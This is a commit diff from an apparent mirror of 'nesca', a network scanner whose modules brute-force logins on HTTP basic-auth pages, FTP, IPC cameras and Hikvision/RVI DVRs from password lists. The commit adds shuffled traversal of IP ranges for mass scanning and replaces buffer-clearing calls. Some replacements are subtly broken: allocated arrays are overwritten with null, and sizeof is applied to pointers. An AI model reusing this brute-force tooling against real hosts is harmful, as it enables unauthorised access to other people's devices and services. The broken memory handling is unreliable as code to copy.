mirror of
https://github.com/ChronosX88/nesca.git
synced 2024-12-24 00:31:46 +00:00
ip randomization
This commit is contained in:
parent
584c9108d4
commit
ce0f411729
@ -57,14 +57,18 @@ lopaStr BA::BABrute(const char *ip, const int port) {
|
||||
Connector con;
|
||||
|
||||
con.nConnect(ip, port, &buff);
|
||||
int isDig = Utils::isDigest(&buff);
|
||||
QString ipString = QString(ip).mid(0, QString(ip).indexOf("/")) + ":" + QString::number(port);
|
||||
if (isDig == -1) {
|
||||
stt->doEmitionFoundData("<span style=\"color:orange;\">No 401 found - <a style=\"color:orange;\" href=\"http://" + ipString + "/\">" +
|
||||
//QString ipString = QString(ip).mid(0, QString(ip).indexOf("/", 8)) + ":" + QString::number(port);
|
||||
QString ipString = QString(ip);
|
||||
if (buff.size() == 0) {
|
||||
stt->doEmitionFoundData("<span style=\"color:orange;\">Empty BA probe - <a style=\"color:orange;\" href=\"" + ipString + "/\">" +
|
||||
ipString + "</a></span>");
|
||||
strcpy(lps.login, "");
|
||||
return lps;
|
||||
}
|
||||
int isDig = Utils::isDigest(&buff);
|
||||
if (isDig == -1) {
|
||||
stt->doEmitionFoundData("<span style=\"color:orange;\">No 401 found - <a style=\"color:orange;\" href=\"" + ipString + "/\">" +
|
||||
ipString + "</a></span>");
|
||||
}
|
||||
else if (isDig == 1) digestMode = true;
|
||||
else digestMode = false;
|
||||
|
||||
|
@ -9,7 +9,8 @@ int CheckKey_Th::isActiveKey = -1;
|
||||
|
||||
void getSubStrEx(const char *src, char *startStr, char *endStr, char *dest, int szDest)
|
||||
{
|
||||
ZeroMemory(dest, szDest);
|
||||
//ZeroMemory(dest, szDest);
|
||||
dest[0] = 0;
|
||||
char *ptr1 = strstri((const char*)src, startStr);
|
||||
if(ptr1 != NULL)
|
||||
{
|
||||
@ -24,7 +25,8 @@ void getSubStrEx(const char *src, char *startStr, char *endStr, char *dest, int
|
||||
}
|
||||
void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest)
|
||||
{
|
||||
ZeroMemory(dest, szDest);
|
||||
//ZeroMemory(dest, szDest);
|
||||
dest[0] = 0;
|
||||
char *ptr1 = strstri((const char*)src, startStr);
|
||||
if(ptr1 != NULL)
|
||||
{
|
||||
|
@ -40,7 +40,7 @@ lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) {
|
||||
|
||||
lpString = string(login) + ":" + string(pass);
|
||||
|
||||
ZeroMemory(nip, 128);
|
||||
nip[0] = 0;
|
||||
sprintf(nip, "ftp://%s", ip);
|
||||
Connector con;
|
||||
res = con.nConnect(nip, port, &buffer, NULL, NULL, &lpString);
|
||||
|
@ -55,7 +55,8 @@ void updateLogin() {
|
||||
while(fgets(buffFG, 32, loginList) != NULL)
|
||||
{
|
||||
MaxLogin++;
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
//ZeroMemory(buffFG, sizeof(buffFG));
|
||||
buffFG[0] = 0;
|
||||
};
|
||||
|
||||
rewind(loginList);
|
||||
@ -74,7 +75,8 @@ void updateLogin() {
|
||||
|
||||
if(strstr(buffFG, "\n") != NULL) strncat(loginLst[i++], buffFG, strlen(buffFG) - 1);
|
||||
else strncat(loginLst[i++], buffFG, strlen(buffFG));
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
//ZeroMemory(buffFG, sizeof(buffFG));
|
||||
buffFG[0] = 0;
|
||||
};
|
||||
|
||||
if(FileUpdater::oldLoginLstSize == 0) stt->doEmitionGreenFoundData("Login list loaded (" + QString::number(MaxLogin) + " entries)");
|
||||
@ -108,7 +110,8 @@ void updatePass() {
|
||||
while(fgets(buffFG, 32, passList) != NULL)
|
||||
{
|
||||
MaxPass++;
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
//ZeroMemory(buffFG, sizeof(buffFG));
|
||||
buffFG[0] = 0;
|
||||
};
|
||||
|
||||
rewind(passList);
|
||||
@ -127,7 +130,8 @@ void updatePass() {
|
||||
|
||||
if(strstr(buffFG, "\n") != NULL) strncat(passLst[i++], buffFG, strlen(buffFG) - 1);
|
||||
else strncat(passLst[i++], buffFG, strlen(buffFG));
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
//ZeroMemory(buffFG, sizeof(buffFG));
|
||||
buffFG[0] = 0;
|
||||
};
|
||||
|
||||
if(FileUpdater::oldPassLstSize == 0) stt->doEmitionGreenFoundData("Password list loaded (" + QString::number(MaxPass) + " entries)");
|
||||
@ -153,7 +157,7 @@ void updateSSH() {
|
||||
MaxSSHPass = 0;
|
||||
|
||||
char buffFG[32] = {0};
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
//ZeroMemory(buffFG, sizeof(buffFG));
|
||||
|
||||
FILE *sshlpList = fopen(SSH_PASS_FN, "r");
|
||||
|
||||
@ -162,7 +166,8 @@ void updateSSH() {
|
||||
while(fgets(buffFG, 32, sshlpList) != NULL)
|
||||
{
|
||||
++MaxSSHPass;
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
//ZeroMemory(buffFG, sizeof(buffFG));
|
||||
buffFG[0] = 0;
|
||||
};
|
||||
|
||||
rewind(sshlpList);
|
||||
@ -180,8 +185,9 @@ void updateSSH() {
|
||||
memset(sshlpLst[i], 0, strlen(buffFG) + 1);
|
||||
|
||||
if(strstr(buffFG, "\n") != NULL) strncat(sshlpLst[i++], buffFG, strlen(buffFG) - 1);
|
||||
else strncat(sshlpLst[i++], buffFG, strlen(buffFG));
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
else strncat(sshlpLst[i++], buffFG, strlen(buffFG));
|
||||
//ZeroMemory(buffFG, sizeof(buffFG));
|
||||
buffFG[0] = 0;
|
||||
};
|
||||
|
||||
if(FileUpdater::oldSSHLstSize == 0) stt->doEmitionGreenFoundData("SSH Password list loaded (" + QString::number(MaxSSHPass) + " entries)");
|
||||
@ -207,7 +213,6 @@ void updateWFLogin() {
|
||||
MaxWFLogin = 0;
|
||||
|
||||
char buffFG[32] = {0};
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
|
||||
FILE *wfLoginList = fopen(WF_LOGIN_FN, "r");
|
||||
|
||||
@ -215,8 +220,9 @@ void updateWFLogin() {
|
||||
{
|
||||
while(fgets(buffFG, 32, wfLoginList) != NULL)
|
||||
{
|
||||
MaxWFLogin++;
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
MaxWFLogin++;
|
||||
//ZeroMemory(buffFG, sizeof(buffFG));
|
||||
buffFG[0] = 0;
|
||||
};
|
||||
|
||||
rewind(wfLoginList);
|
||||
@ -234,8 +240,9 @@ void updateWFLogin() {
|
||||
memset(wfLoginLst[i], 0, strlen(buffFG) + 1);
|
||||
|
||||
if(strstr(buffFG, "\n") != NULL) strncat(wfLoginLst[i++], buffFG, strlen(buffFG) - 1);
|
||||
else strncat(wfLoginLst[i++], buffFG, strlen(buffFG));
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
else strncat(wfLoginLst[i++], buffFG, strlen(buffFG));
|
||||
//ZeroMemory(buffFG, sizeof(buffFG));
|
||||
buffFG[0] = 0;
|
||||
};
|
||||
|
||||
if(FileUpdater::oldWFLoginLstSize == 0) stt->doEmitionGreenFoundData("WFLogin list loaded (" + QString::number(MaxWFLogin) + " entries)");
|
||||
@ -256,7 +263,6 @@ void updateWFPass() {
|
||||
MaxWFPass = 0;
|
||||
|
||||
char buffFG[32] = {0};
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
|
||||
FILE *wfPassList = fopen(WF_PASS_FN, "r");
|
||||
|
||||
@ -264,8 +270,9 @@ void updateWFPass() {
|
||||
{
|
||||
while(fgets(buffFG, 32, wfPassList) != NULL)
|
||||
{
|
||||
MaxWFPass++;
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
MaxWFPass++;
|
||||
//ZeroMemory(buffFG, sizeof(buffFG));
|
||||
buffFG[0] = 0;
|
||||
};
|
||||
|
||||
rewind(wfPassList);
|
||||
@ -283,8 +290,9 @@ void updateWFPass() {
|
||||
memset(wfPassLst[i], 0, strlen(buffFG) + 1);
|
||||
|
||||
if(strstr(buffFG, "\n") != NULL) strncat(wfPassLst[i++], buffFG, strlen(buffFG) - 1);
|
||||
else strncat(wfPassLst[i++], buffFG, strlen(buffFG));
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
else strncat(wfPassLst[i++], buffFG, strlen(buffFG));
|
||||
//ZeroMemory(buffFG, sizeof(buffFG));
|
||||
buffFG[0] = 0;
|
||||
};
|
||||
|
||||
if(FileUpdater::oldWFPassLstSize == 0) stt->doEmitionGreenFoundData("WFPassword list loaded (" + QString::number(MaxWFPass) + " entries)");
|
||||
@ -305,7 +313,6 @@ void updateFTPLogin() {
|
||||
MaxFTPLogin = 0;
|
||||
|
||||
char buffFG[32] = { 0 };
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
|
||||
FILE *ftpLoginList = fopen(FTP_LOGIN_FN, "r");
|
||||
|
||||
@ -314,7 +321,8 @@ void updateFTPLogin() {
|
||||
while (fgets(buffFG, 32, ftpLoginList) != NULL)
|
||||
{
|
||||
MaxFTPLogin++;
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
//ZeroMemory(buffFG, sizeof(buffFG));
|
||||
buffFG[0] = 0;
|
||||
};
|
||||
|
||||
rewind(ftpLoginList);
|
||||
@ -333,7 +341,8 @@ void updateFTPLogin() {
|
||||
|
||||
if (strstr(buffFG, "\n") != NULL) strncat(ftpLoginLst[i++], buffFG, strlen(buffFG) - 1);
|
||||
else strncat(ftpLoginLst[i++], buffFG, strlen(buffFG));
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
//ZeroMemory(buffFG, sizeof(buffFG));
|
||||
buffFG[0] = 0;
|
||||
};
|
||||
|
||||
if (FileUpdater::oldFTPLoginLstSize == 0) stt->doEmitionGreenFoundData("FTP login list loaded (" + QString::number(MaxFTPLogin) + " entries)");
|
||||
@ -354,7 +363,6 @@ void updateFTPPass() {
|
||||
MaxFTPPass = 0;
|
||||
|
||||
char buffFG[32] = { 0 };
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
|
||||
FILE *ftpPassList = fopen(FTP_PASS_FN, "r");
|
||||
|
||||
@ -363,7 +371,8 @@ void updateFTPPass() {
|
||||
while (fgets(buffFG, 32, ftpPassList) != NULL)
|
||||
{
|
||||
++MaxFTPPass;
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
//ZeroMemory(buffFG, sizeof(buffFG));
|
||||
buffFG[0] = 0;
|
||||
};
|
||||
|
||||
rewind(ftpPassList);
|
||||
@ -382,7 +391,8 @@ void updateFTPPass() {
|
||||
|
||||
if (strstr(buffFG, "\n") != NULL) strncat(ftpPassLst[i++], buffFG, strlen(buffFG) - 1);
|
||||
else strncat(ftpPassLst[i++], buffFG, strlen(buffFG));
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
//ZeroMemory(buffFG, sizeof(buffFG));
|
||||
buffFG[0] = 0;
|
||||
};
|
||||
|
||||
if (FileUpdater::oldFTPPassLstSize == 0) stt->doEmitionGreenFoundData("FTP password list loaded (" + QString::number(MaxFTPPass) + " entries)");
|
||||
|
@ -225,8 +225,10 @@ lopaStr HikVis::hikLogin(const char * sDVRIP, int wDVRPort)
|
||||
for (int j = 0; j < MaxPass; ++j) {
|
||||
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; });
|
||||
if (!globalScanFlag) return lps;
|
||||
ZeroMemory(login, 64);
|
||||
ZeroMemory(pass, 64);
|
||||
/*ZeroMemory(login, 64);
|
||||
ZeroMemory(pass, 64);*/
|
||||
login[0] = 0;
|
||||
pass[0] = 0;
|
||||
strcpy(login, loginLst[i]);
|
||||
strcpy(pass, passLst[j]);
|
||||
|
||||
@ -340,8 +342,10 @@ lopaStr HikVis::rviLogin(const char * sDVRIP, int wDVRPort)
|
||||
for (int j = 0; j < MaxPass; ++j) {
|
||||
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; });
|
||||
if (!globalScanFlag) return lps;
|
||||
ZeroMemory(login, 64);
|
||||
ZeroMemory(pass, 64);
|
||||
/*ZeroMemory(login, 64);
|
||||
ZeroMemory(pass, 64);*/
|
||||
login[0] = 0;
|
||||
pass[0] = 0;
|
||||
strcpy(login, loginLst[i]);
|
||||
strcpy(pass, passLst[j]);
|
||||
|
||||
|
@ -94,7 +94,8 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
|
||||
{
|
||||
if(!globalScanFlag) break;
|
||||
if(strcmp(loginLst[i], " ") == 0) continue;
|
||||
ZeroMemory(login, sizeof(login));
|
||||
//ZeroMemory(login, sizeof(login));
|
||||
login[0] = 0;
|
||||
strcpy(login, loginLst[i]);
|
||||
|
||||
for(int j = 0; j < MaxPass; ++j)
|
||||
@ -103,10 +104,12 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
|
||||
if(!globalScanFlag) break;
|
||||
if(strcmp(passLst[j], " ") == 0) continue;
|
||||
|
||||
ZeroMemory(pass, sizeof(pass));
|
||||
//ZeroMemory(pass, sizeof(pass));
|
||||
pass[0] = 0;
|
||||
strcpy(pass, passLst[j]);
|
||||
|
||||
ZeroMemory(request, sizeof(request));
|
||||
//ZeroMemory(request, sizeof(request));
|
||||
request[0] = 0;
|
||||
if(strcmp(SPEC, "IPC") == 0)
|
||||
{
|
||||
sprintf(request, "%s:%d/login.xml?user=%s&usr=%s&password=%s&pwd=%s",
|
||||
|
@ -14,7 +14,8 @@ private:
|
||||
public:
|
||||
IPC() {
|
||||
doPost = false;
|
||||
ZeroMemory(postData, 1024);
|
||||
//ZeroMemory(postData, 1024);
|
||||
postData[0] = 0;
|
||||
}
|
||||
|
||||
lopaStr IPCLobby(const char *ip, int port, char *SPEC);
|
||||
|
183
MainStarter.cpp
183
MainStarter.cpp
@ -68,7 +68,8 @@ int MainStarter::fileLoader(const char *fileName) {
|
||||
((curIP[0] == '/' && curIP[1] == '/') == false) && ((curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == 13 || curIP[3] == 10 || curIP[3] == '#')) == false)
|
||||
&& (curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == '/' && curIP[4] == '/')) == false
|
||||
) ++importFileSize;
|
||||
ZeroMemory(curIP, sizeof(curIP));
|
||||
curIP[0] = 0;
|
||||
//ZeroMemory(curIP, sizeof(curIP));
|
||||
};
|
||||
fclose(fl);
|
||||
}
|
||||
@ -78,16 +79,20 @@ int MainStarter::fileLoader(const char *fileName) {
|
||||
|
||||
ipsstartfl = new unsigned int*[importFileSize + 1];
|
||||
ipsendfl = new unsigned int*[importFileSize + 1];
|
||||
ZeroMemory(ipsstartfl, sizeof(ipsstartfl));
|
||||
ZeroMemory(ipsendfl, sizeof(ipsendfl));
|
||||
ipsstartfl[0] = 0;
|
||||
ipsendfl[0] = 0;
|
||||
/*ZeroMemory(ipsstartfl, sizeof(ipsstartfl));
|
||||
ZeroMemory(ipsendfl, sizeof(ipsendfl));*/
|
||||
|
||||
for (int i = 0; i < importFileSize; ++i)
|
||||
{
|
||||
ipsstartfl[i] = new unsigned int[4];
|
||||
ipsendfl[i] = new unsigned int[4];
|
||||
|
||||
ZeroMemory(ipsstartfl[i], sizeof(ipsstartfl[i]));
|
||||
ZeroMemory(ipsendfl[i], sizeof(ipsendfl[i]));
|
||||
//ZeroMemory(ipsstartfl[i], sizeof(ipsstartfl[i]));
|
||||
//ZeroMemory(ipsendfl[i], sizeof(ipsendfl[i]));
|
||||
ipsstartfl[i] = 0;
|
||||
ipsendfl[i] = 0;
|
||||
};
|
||||
|
||||
std::vector<std::string> shuffleArray;
|
||||
@ -360,7 +365,8 @@ void MainStarter::saveBackupToFile()
|
||||
sprintf(saveStr, "[SESSION]:%d %s %s %d %s\n",
|
||||
gMode, endStr, gTLD, gThreads, gPorts);
|
||||
strcat(saveBuffer, saveStr);
|
||||
ZeroMemory(saveStr, sizeof(saveStr));
|
||||
//ZeroMemory(saveStr, sizeof(saveStr));
|
||||
saveStr[0] = 0;
|
||||
};
|
||||
}
|
||||
else if (gMode == -1)
|
||||
@ -384,7 +390,8 @@ void MainStarter::saveBackupToFile()
|
||||
ipsendfl[gflIndex][2],
|
||||
ipsendfl[gflIndex][3]);
|
||||
fputs(ipRange, savingFile);
|
||||
ZeroMemory(ipRange, sizeof(ipRange));
|
||||
//ZeroMemory(ipRange, sizeof(ipRange));
|
||||
ipRange[0] = 0;
|
||||
}
|
||||
for (int tCounter = gflIndex + 1; tCounter < MainStarter::flCounter; ++tCounter)
|
||||
{
|
||||
@ -400,7 +407,8 @@ void MainStarter::saveBackupToFile()
|
||||
|
||||
fputs(ipRange, savingFile);
|
||||
|
||||
ZeroMemory(ipRange, sizeof(ipRange));
|
||||
//ZeroMemory(ipRange, sizeof(ipRange));
|
||||
ipRange[0] = 0;
|
||||
};
|
||||
fclose(savingFile);
|
||||
}
|
||||
@ -409,80 +417,98 @@ void MainStarter::saveBackupToFile()
|
||||
|
||||
sprintf(saveStr, "[SESSION]:%d RESTORE_IMPORT_SESSION %d %s\n", gMode, gThreads, gPorts);
|
||||
strcat(saveBuffer, saveStr);
|
||||
ZeroMemory(saveStr, sizeof(saveStr));
|
||||
//ZeroMemory(saveStr, sizeof(saveStr));
|
||||
saveStr[0] = 0;
|
||||
}
|
||||
else {
|
||||
sprintf(saveStr, "[SESSION]: 0 1.1.1.1/32 0 -p80");
|
||||
strcat(saveBuffer, saveStr);
|
||||
ZeroMemory(saveStr, sizeof(saveStr));
|
||||
//ZeroMemory(saveStr, sizeof(saveStr));
|
||||
saveStr[0] = 0;
|
||||
}
|
||||
|
||||
sprintf(saveStr, "[NDBSERVER]:%s\n", trcSrv);
|
||||
strcat(saveBuffer, saveStr);
|
||||
ZeroMemory(saveStr, sizeof(saveStr));
|
||||
//ZeroMemory(saveStr, sizeof(saveStr));
|
||||
saveStr[0] = 0;
|
||||
|
||||
sprintf(saveStr, "[NDBSCRIPT]:%s\n", trcScr);
|
||||
strcat(saveBuffer, saveStr);
|
||||
ZeroMemory(saveStr, sizeof(saveStr));
|
||||
//ZeroMemory(saveStr, sizeof(saveStr));
|
||||
saveStr[0] = 0;
|
||||
|
||||
sprintf(saveStr, "[NDBPORT]:%s\n", trcSrvPortLine);
|
||||
strcat(saveBuffer, saveStr);
|
||||
ZeroMemory(saveStr, sizeof(saveStr));
|
||||
//ZeroMemory(saveStr, sizeof(saveStr));
|
||||
saveStr[0] = 0;
|
||||
|
||||
sprintf(saveStr, "[PROXY]:%s\n", trcProxy);
|
||||
strcat(saveBuffer, saveStr);
|
||||
ZeroMemory(saveStr, sizeof(saveStr));
|
||||
//ZeroMemory(saveStr, sizeof(saveStr));
|
||||
saveStr[0] = 0;
|
||||
|
||||
sprintf(saveStr, "[PROXYPORT]:%s\n", trcPort);
|
||||
strcat(saveBuffer, saveStr);
|
||||
ZeroMemory(saveStr, sizeof(saveStr));
|
||||
//ZeroMemory(saveStr, sizeof(saveStr));
|
||||
saveStr[0] = 0;
|
||||
|
||||
sprintf(saveStr, "[PING]:%s\n", gPingNScan ? "true" : "false");
|
||||
strcat(saveBuffer, saveStr);
|
||||
ZeroMemory(saveStr, sizeof(saveStr));
|
||||
//ZeroMemory(saveStr, sizeof(saveStr));
|
||||
saveStr[0] = 0;
|
||||
|
||||
sprintf(saveStr, "[SHUFFLE]:%s\n", gShuffle ? "true" : "false");
|
||||
strcat(saveBuffer, saveStr);
|
||||
ZeroMemory(saveStr, sizeof(saveStr));
|
||||
//ZeroMemory(saveStr, sizeof(saveStr));
|
||||
saveStr[0] = 0;
|
||||
|
||||
sprintf(saveStr, "[NSTRACK]:%s\n", trackerOK ? "true" : "false");
|
||||
strcat(saveBuffer, saveStr);
|
||||
ZeroMemory(saveStr, sizeof(saveStr));
|
||||
//ZeroMemory(saveStr, sizeof(saveStr));
|
||||
saveStr[0] = 0;
|
||||
|
||||
sprintf(saveStr, "[PING_TO]: %d\n", gPingTimeout);
|
||||
strcat(saveBuffer, saveStr);
|
||||
ZeroMemory(saveStr, sizeof(saveStr));
|
||||
//ZeroMemory(saveStr, sizeof(saveStr));
|
||||
saveStr[0] = 0;
|
||||
|
||||
sprintf(saveStr, "[THREAD_DELAY]: %d\n", Threader::gThreadDelay);
|
||||
strcat(saveBuffer, saveStr);
|
||||
ZeroMemory(saveStr, sizeof(saveStr));
|
||||
//ZeroMemory(saveStr, sizeof(saveStr));
|
||||
saveStr[0] = 0;
|
||||
|
||||
sprintf(saveStr, "[TIMEOUT]: %d\n", gTimeOut);
|
||||
strcat(saveBuffer, saveStr);
|
||||
ZeroMemory(saveStr, sizeof(saveStr));
|
||||
//ZeroMemory(saveStr, sizeof(saveStr));
|
||||
saveStr[0] = 0;
|
||||
|
||||
sprintf(saveStr, "[MAXBTHR]: %d\n", gMaxBrutingThreads);
|
||||
strcat(saveBuffer, saveStr);
|
||||
ZeroMemory(saveStr, sizeof(saveStr));
|
||||
//ZeroMemory(saveStr, sizeof(saveStr));
|
||||
saveStr[0] = 0;
|
||||
|
||||
sprintf(saveStr, "[SYSTEMPROXYIP]: %s\n", gProxyIP);
|
||||
strcat(saveBuffer, saveStr);
|
||||
ZeroMemory(saveStr, sizeof(saveStr));
|
||||
//ZeroMemory(saveStr, sizeof(saveStr));
|
||||
saveStr[0] = 0;
|
||||
|
||||
sprintf(saveStr, "[SYSTEMPROXYPORT]: %s\n", gProxyPort);
|
||||
strcat(saveBuffer, saveStr);
|
||||
ZeroMemory(saveStr, sizeof(saveStr));
|
||||
//ZeroMemory(saveStr, sizeof(saveStr));
|
||||
saveStr[0] = 0;
|
||||
|
||||
strcpy(saveStr, "[PERSKEY]:");
|
||||
strncat(saveStr, trcPersKey, 32);
|
||||
strcat(saveStr, "\n");
|
||||
strcat(saveBuffer, saveStr);
|
||||
ZeroMemory(saveStr, sizeof(saveStr));
|
||||
//ZeroMemory(saveStr, sizeof(saveStr));
|
||||
saveStr[0] = 0;
|
||||
|
||||
std::string finalSaveStr(saveBuffer);
|
||||
std::ofstream file("restore");
|
||||
if (finalSaveStr.size() > 0) file << finalSaveStr;
|
||||
ZeroMemory(saveBuffer, strlen(saveBuffer));
|
||||
//ZeroMemory(saveBuffer, sizeof(saveBuffer));
|
||||
saveBuffer[0] = 0;
|
||||
}
|
||||
|
||||
bool saverRunning = false;
|
||||
@ -532,7 +558,8 @@ void _tracker() {
|
||||
if (!globalScanFlag && jsonArr->size() == 0) break;
|
||||
char rBuffT[250000] = { 0 };
|
||||
char *msg = new char[4096];
|
||||
ZeroMemory(msg, sizeof(*msg));
|
||||
//ZeroMemory(msg, sizeof(*msg));
|
||||
msg[0] = 0;
|
||||
char ndbServer[64] = { 0 };
|
||||
char ndbScriptT[64] = { 0 };
|
||||
char ndbScript[64] = { 0 };
|
||||
@ -573,7 +600,8 @@ void _tracker() {
|
||||
continue;
|
||||
};
|
||||
|
||||
ZeroMemory(rBuffT, sizeof(rBuffT));
|
||||
//ZeroMemory(rBuffT, sizeof(rBuffT));
|
||||
rBuffT[0] = 0;
|
||||
char rBuff[512] = { 0 };
|
||||
int test = recv(sock, rBuff, sizeof(rBuff), 0);
|
||||
strcpy(rBuffT, rBuff);
|
||||
@ -673,7 +701,8 @@ void _tracker() {
|
||||
continue;
|
||||
};
|
||||
|
||||
ZeroMemory(rBuffT, sizeof(rBuffT));
|
||||
//ZeroMemory(rBuffT, sizeof(rBuffT));
|
||||
rBuffT[0] = 0;
|
||||
CSSOCKET(sock);
|
||||
|
||||
while (true)
|
||||
@ -725,7 +754,8 @@ void _tracker() {
|
||||
};
|
||||
|
||||
msg = new char[r.size() + 1024];
|
||||
ZeroMemory(msg, sizeof(*msg));
|
||||
//ZeroMemory(msg, sizeof(*msg));
|
||||
msg[0] = 0;
|
||||
|
||||
strcpy(msg, "POST /");
|
||||
strcat(msg, ndbScript);
|
||||
@ -782,7 +812,8 @@ void _tracker() {
|
||||
continue;
|
||||
};
|
||||
|
||||
ZeroMemory(rBuffT, sizeof(rBuffT));
|
||||
//ZeroMemory(rBuffT, sizeof(rBuffT));
|
||||
rBuffT[0] = 0;
|
||||
char msgR[32] = { 0 };
|
||||
|
||||
if (gDebugMode)
|
||||
@ -847,9 +878,12 @@ void _tracker() {
|
||||
stt->doEmitionYellowFoundData("[NS-Track] FAIL! An error occured [" + QString(msgR) + "]");
|
||||
};
|
||||
|
||||
ZeroMemory(msgR, sizeof(msgR));
|
||||
msgR[0] = 0;
|
||||
rBuffT[0] = 0;
|
||||
msg[0] = 0;
|
||||
/*ZeroMemory(msgR, sizeof(msgR));
|
||||
ZeroMemory(rBuffT, sizeof(rBuffT));
|
||||
ZeroMemory(msg, sizeof(*msg));
|
||||
ZeroMemory(msg, sizeof(*msg));*/
|
||||
|
||||
if (msg != NULL)
|
||||
{
|
||||
@ -934,15 +968,55 @@ void MainStarter::startIPScan(){
|
||||
std::vector<std::string> ipVec;
|
||||
struct in_addr tAddr;
|
||||
|
||||
for (unsigned long i = ip1; i <= ip2; ++i) {
|
||||
unsigned long offset = ip2 - ip1;
|
||||
unsigned int limit = 0;
|
||||
|
||||
if (!globalScanFlag) break;
|
||||
unsigned long offset = ip2 - i;
|
||||
|
||||
tAddr.s_addr = ntohl(i);
|
||||
if (0 == offset) {
|
||||
tAddr.s_addr = ntohl(ip1);
|
||||
ipVec.push_back(inet_ntoa(tAddr));
|
||||
++indexIP;
|
||||
|
||||
if (ipVec.size() >= (offset < 10000 ? offset : 10000)) {
|
||||
strcpy(currentIP, ipVec[0].c_str());
|
||||
ipVec.erase(ipVec.begin());
|
||||
verboseProgress(gTargets);
|
||||
|
||||
Threader::fireThread(currentIP, (void*(*)(void))_connect);
|
||||
}
|
||||
else {
|
||||
if (offset < 1000) {
|
||||
limit = 1;
|
||||
}
|
||||
else if (offset < 10000){
|
||||
limit = 10;
|
||||
}
|
||||
else if (offset < 100000){
|
||||
limit = 100;
|
||||
}
|
||||
else if (offset < 1000000){
|
||||
limit = 1000;
|
||||
}
|
||||
else if (offset < 10000000){
|
||||
limit = 10001;
|
||||
}
|
||||
else if (offset < 100000000){
|
||||
limit = 100011;
|
||||
}
|
||||
else if (offset < 5000000000){
|
||||
limit = 1000111;
|
||||
}
|
||||
|
||||
unsigned long long int firstLoopLimit = (limit == 1 ? ip1 : ip1 + (long long)limit);
|
||||
|
||||
for (unsigned long i = ip1; i <= firstLoopLimit; ++i) {
|
||||
if (!globalScanFlag) break;
|
||||
|
||||
unsigned long long curIP = i;
|
||||
while (curIP <= ip2) {
|
||||
tAddr.s_addr = ntohl(curIP);
|
||||
ipVec.push_back(inet_ntoa(tAddr));
|
||||
|
||||
curIP += (long long)limit;
|
||||
}
|
||||
|
||||
std::random_shuffle(ipVec.begin(), ipVec.end());
|
||||
while (ipVec.size() != 0) {
|
||||
@ -958,6 +1032,29 @@ void MainStarter::startIPScan(){
|
||||
|
||||
Threader::fireThread(currentIP, (void*(*)(void))_connect);
|
||||
}
|
||||
|
||||
|
||||
|
||||
/*tAddr.s_addr = ntohl(i);
|
||||
ipVec.push_back(inet_ntoa(tAddr));
|
||||
|
||||
if (ipVec.size() >= (offset < 10000 ? offset : 10000)) {
|
||||
|
||||
std::random_shuffle(ipVec.begin(), ipVec.end());
|
||||
while (ipVec.size() != 0) {
|
||||
|
||||
while (cons >= gThreads && globalScanFlag) Sleep(500);
|
||||
if (!globalScanFlag) goto haters_gonna_hate_IPM;
|
||||
|
||||
++indexIP;
|
||||
|
||||
strcpy(currentIP, ipVec[0].c_str());
|
||||
ipVec.erase(ipVec.begin());
|
||||
verboseProgress(gTargets);
|
||||
|
||||
Threader::fireThread(currentIP, (void*(*)(void))_connect);
|
||||
}
|
||||
}*/
|
||||
}
|
||||
}
|
||||
|
||||
@ -1028,7 +1125,7 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) {
|
||||
int szMask = strlen(mask);
|
||||
int szOffset = startPosition + 2;
|
||||
if (szMask != szOffset) strcpy(maskEnd, strstr(mask, "]") + 1);
|
||||
else ZeroMemory(maskEnd, sizeof(maskEnd));;
|
||||
else maskEnd[0] = 0;
|
||||
|
||||
char maskSaver[128] = { 0 };
|
||||
if (firstPos != -1 && secondPos != -1)
|
||||
@ -1047,8 +1144,10 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) {
|
||||
|
||||
if (_GetDNSFromMask(maskRes, maskSaver, maskEnd) == -1) return -1;
|
||||
|
||||
ZeroMemory(maskSaver, sizeof(maskSaver));
|
||||
ZeroMemory(maskRes, sizeof(maskRes));
|
||||
maskSaver[0] = 0;
|
||||
maskRes[0] = 0;
|
||||
/*ZeroMemory(maskSaver, sizeof(maskSaver));
|
||||
ZeroMemory(maskRes, sizeof(maskRes));*/
|
||||
};
|
||||
};
|
||||
}
|
||||
|
@ -42,9 +42,11 @@ public:
|
||||
indexIP = 0;
|
||||
flCounter = 0;
|
||||
gflIndex = 0;
|
||||
|
||||
/*
|
||||
ZeroMemory(ipsstart, sizeof(ipsstart));
|
||||
ZeroMemory(ipsend, sizeof(ipsend));
|
||||
ZeroMemory(ipsend, sizeof(ipsend));*/
|
||||
ipsstart[0] = 0;
|
||||
ipsend[0] = 0;
|
||||
}
|
||||
~MainStarter(){
|
||||
FileUpdater::FUClear();
|
||||
|
10
SSHAuth.cpp
10
SSHAuth.cpp
@ -5,7 +5,6 @@ int _sshConnect(const char *user, const char *pass, const char *host, int port)
|
||||
|
||||
